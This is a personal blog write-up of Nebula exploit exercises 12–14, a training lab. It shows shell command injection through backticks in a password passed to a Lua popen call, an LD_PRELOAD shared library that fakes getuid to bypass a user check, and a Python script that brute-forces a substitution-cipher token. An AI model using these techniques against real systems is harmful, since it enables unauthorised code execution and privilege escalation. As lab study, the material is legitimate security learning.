Jonatan Haltorp Blog

Nebula Exploit Exercises {12..14}

After quite some time of not doing much more than working at my new job & playing dota, I felt like taking it upon myself to complete some more exercises. I had trouble with level 11, but who cares?

level12

##About

There is a backdoor process listening on port 50001.

Here’s an excerpt from the code provided.

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end

So, we get to put in text for the lua-script to pass into the commandline, but we have to deal with that pesky pipe into sha1sum at the end. However, the solution is to use the help of our old friend backticks to execute what we want.

$ telnet 127.0.0.1 50001
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Password: `getflag` > /tmp/level12
Better luck next time
Connection closed by foreign host.

$ cat /tmp/flag12
You have successfully executed getflag on a target account

Bonus: Getting two birds stoned at once.

We can fool this lua-script to accept our bogus password as the real deal by adding one or two commands. All we need is the hash it’s looking for & a way to give it to the program.

$ cat << EOF > /tmp/level12
4754a4f4bd5787accd33de887b9250a0691dd198
EOF

$ telnet 127.0.0.1 50001
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Password: `cat /tmp/level12`; exit
Congrats, your token is 413**CARRIER LOST**
Connection closed by foreign host.

When sh -c is fed the exit command, it stops execution, resulting in the trailing ` | sha1sum` dissappearing into the void. It’s not the point of the exercise, but a neat thing I thought I’d share =)

Ricky


level13

##About

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

Below is the provided C code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

Since we’re not root, we can’t change our user-ID just like that. I tried to use LD_PRELOAD to change the function getuid to only return 1000, but my plans were stopped in it’s tracks because LD_PRELOAD is ignored by the loader if we’re trying to preload on a executable we don’t own.

However, we can just make a copy of the executable & preload it with our own version of getuid, making our hard work & sweat worthwhile.

# Define our own function
/tmp/level13 $ cat << EOF > preload.c
int getuid() {
    return 1000;
}
EOF
# Have GCC turn it to a shared library.
/tmp/level13 $ gcc -Wall -fPIC -shared -o preload.so preload.c
# Copy the executable to current directory & execute it,
# Preloading our shared library.
/tmp/level13 $ cp /home/flag13/flag13 .
/tmp/level13 $ LD_PRELOAD=./preload.so ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
# Oh hai password
/tmp/level13 $ su flag13 -c getflag
Password:
You have successfully executed getflag on a target account

Success! =)


level14

##About This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

We have to pipe input into the process & pass along the -e flag for it to spit out encrypted stuff. I also added && echo since the program does not add a newline character at the end.

$ echo hello | /home/flag14/flag14 && echo
hfnos

Fair enough, but does the encryption change if we rerun it?

Turns out it doesn’t; we still get hfnos if we run the program again with the same input. That’s good to know, we don’t necesscarily have to get lucky when we try to recover the used key.

If we feed the program alot of the same characters, the results indicate that the encryption is basically encrypting one character at a time, incrementing the substitution each time.

$ echo 00000 | /home/flag14/flag14 && echo
01234
$ echo 00000000000000000000 | /home/flag14/flag14 && echo
0123456789:;<=>?@ABC

In order to decrypt the token, we just need to unroll the substitution, which is simple enough. All we need to know is how long the token is & what order characters are substituted.

$ wc -m /home/flag14/token # count the characters
37 /home/flag14/token

The first character remains unchanged by the encryption, so if we loop through all ascii characters, we can map the order of substitution. I tried to throw down some quick & simple python code to decrypt the token; according to what I knew about the encryption so far.

The problem is that my decryption did not work. My guess is that there is something I’m missing, so I wrote a similar python script to bruteforce it instead.

import subprocess
characters = """!"#$%'()*+,-./0123456789!:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmopqrstuvwxyz{|}~"""
token = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."
decrypted = ""
iv = 0
counter = 0
state = True
loopcount = 0

while len(decrypted) <= len(token):
	if counter == len(token) or loopcount == 5:
		reencrypted = subprocess.Popen(["/home/flag14/flag14", "-e"],
		                               stdout=subprocess.PIPE,
		                               stdin=subprocess.PIPE)
	    reencrypted.stdin.write(decrypted+dc)
		result = reencrypted.communicate()[0]
		print("token:      " + token)
		print("reencrypted:" + result)
		print("decrypted:  " + decrypted)

	    exit(0)

	cc = token[counter]
	try:
		dc = characters[characters.index(cc) + iv]
	except IndexError:
		loopcount += 1
		state = not state
		iv = 0
		continue

	reencrypted = subprocess.Popen(["/home/flag14/flag14", "-e"],
                                   stdout=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
	reencrypted.stdin.write(decrypted+dc)
	result = reencrypted.communicate()[0]

	if token[:len(result)] == result:
		decrypted += dc
		counter += 1
	elif state:
		iv -= 1
	elif not state:
		iv += 1

In a nutshell, the code above iterates over all characters in token, trying a substitution & reencryptning, comparing the reencrypted ciphertext to the token. If the reencrypted string matches the token so far, it just adds that decrypted character to the decrypted variable & moves on to the next character in token. If it doesn’t match, the script modifies the iv variable, meaning that in the next iteration of our loop will try with another character from characters.

With my bruteforcing script in place, all that was left was to actually put all the pieces together & execute the flag as flag14

$ python bruteforce.py
token:      857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
reencrypted:857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWWD
decrypted:  8457c118-887c-4e40-a5a6-33a25353165
$ su flag14 -c getflag
Password:
You have successfully executed getflag on a target account

There you have it, I’ve tried solving level15 & level16, but have been unable to, so far. This Unix shell exploiting is really tricky sometimes but it’s pretty fun trying to figure out what the fuck is going on.

Thanks for reading, I’ll maybe just switch over to their Protstar series of challenges, I’m not sure right now :)